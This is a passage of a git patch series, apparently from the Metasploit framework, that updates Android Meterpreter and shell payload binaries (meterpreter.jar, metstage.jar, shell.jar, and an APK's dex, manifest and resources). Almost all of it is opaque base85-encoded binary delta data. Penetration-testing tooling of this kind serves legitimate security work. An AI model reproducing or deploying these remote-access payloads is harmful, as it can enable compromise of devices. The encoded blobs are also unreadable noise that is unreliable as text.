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 diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 095c7b9a64a328b35850cdffccaaae6fcd8dca33..1271994fbab34694c10605904afaff08038b88f0 100644 GIT binary patch delta 45 ucmdnZx0{bQz?+#xgn@&DgF$0j) From 60b5191873f43c0d1042d0f3d8da1b075afb96c8 Mon Sep 17 00:00:00 2001 From: joe Date: Fri, 7 Mar 2014 13:21:30 -0800 Subject: [PATCH 05/58] New meterpreter bins for testing. --- data/android/apk/AndroidManifest.xml | Bin 3588 -> 3536 bytes data/android/apk/classes.dex | Bin 6844 -> 10700 bytes data/android/apk/resources.arsc | Bin 1104 -> 1088 bytes data/android/meterpreter.jar | Bin 37661 -> 37700 bytes data/android/metstage.jar | Bin 1993 -> 1851 bytes data/android/shell.jar | Bin 1853 -> 1853 bytes 6 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 39fa1cea0e34dfb14a1666dbe18fab55ba0fbcbb..6ee7f3e36fed7e9e467fff4db6fd95f5a44848f9 100644 GIT binary patch literal 3536 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 diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 4fe928b45ed5fab291d93e0fdecab81f29535e1f..9175daa84ec0e56982572ea3b65c8ccf7083b71b 100644 GIT binary patch delta 168 zcmcb>ae#xBiGhc~VIr$Ks|5oCL(;@(>xm{>6Q?OL_H5j#%cN++-~kk70%ArW1}RYh zVgy()@uTQu1!f*bhRM3jlEM(>%s_d#@`)dnCpQ2UFi!4;D_}ua@PJtjs+SdA%7H}y E01jaqIRF3v delta 219 zcmX@Wae;%CiGhb9U?QtJs}=(TL(;@d-H9d^6Q?OL&e^zAmr2`#!3QYJ1jLL$Yy-q9 zK#Twj;7pduiY&sD6_`16K`NP;1QW!&d#>baC?lf~BVb@)AVk|)%OLz88!-Y3f~u^RG^e7P9Ji{p znxdR6P>V}d?)eV_g6udib{`KuDpbPdWy4Fc43}-yAbTJzxq^B`v5+yz$Y8Tamwof0 z>(++`HP~|GVN5aLjUbmQs@;SvU170!GL1s`pfFe7(iEN=-O3XXlzC9U6u^6Uqrb(; zR|Ycwb7W;h`^EqFS0>z6Dc!XO&N8OOHTA6Lq0-P%mOE^zP(MTsWps=rOuXH&*AeHu zel-5Cb$ojL_J7ymXy#?<#BJg1$mMA1Vdn1Q;B4!`t@^)rIhD-3%rwk=9h}X+aJ#%7 z<>Kb-V(I2#Yv~U3QXg05RN_!n{j5-~b*9RpJievr#r_9{FOK-l7|EN2$~PRL3h&+u z%k&OICc`T@n#zRv0TXi?9~LHf-!Ak6!r8l6dKw}8gF+$zUG5J}@9SFMG6NdI+3U*Q z^K}||{;%UrBkze06TOP#c51Nsq zpD(`sbCD7goX*x8>`+QSU59A(>!SSb+i%63jd)uFQu;kndVevgvgrV6BAh~7Fa}^+ zu&YEYX-0sa7KM~pi}%;YA@MEq9bR_-nh@9qRLc9tI+v@)`m{z;{>y5K+)v@R1>0Y_ z+Khg;Xl2Aa;qSg5*E>3nByIZ$hNUnWw_`p@lf^u zePgKRWH!Ocm0^HAS6tMuh=XC<3xCr{9Dg=ELG%6e=l}<#MUe6k7AM;02Q})(_=IAU zbUN9&`H>;+ljyC2H0wX&Vk7C6ZM&$x$*LXOqg1)@c>+qh6QUael3L^TsUW>XQIQV2 z63q&wNL;UP9l6i=J;z1P%!{dvKlZDhBD<@2rODY1>KFc@fH!OVz5FtOQ+{PQyeMe$ zR^0~g_oWNpr(t(j5+9!kM+;~xmq^6*l8U{h5T-%r?)j$_zK4&U-c1xgGV1)*&`6`} zL2ZlxANVQs)Ea+r%bb$ta{GoUCeL!@&x!db4f^twcfhNyyed~s?;*?2QoQCJqEg$v 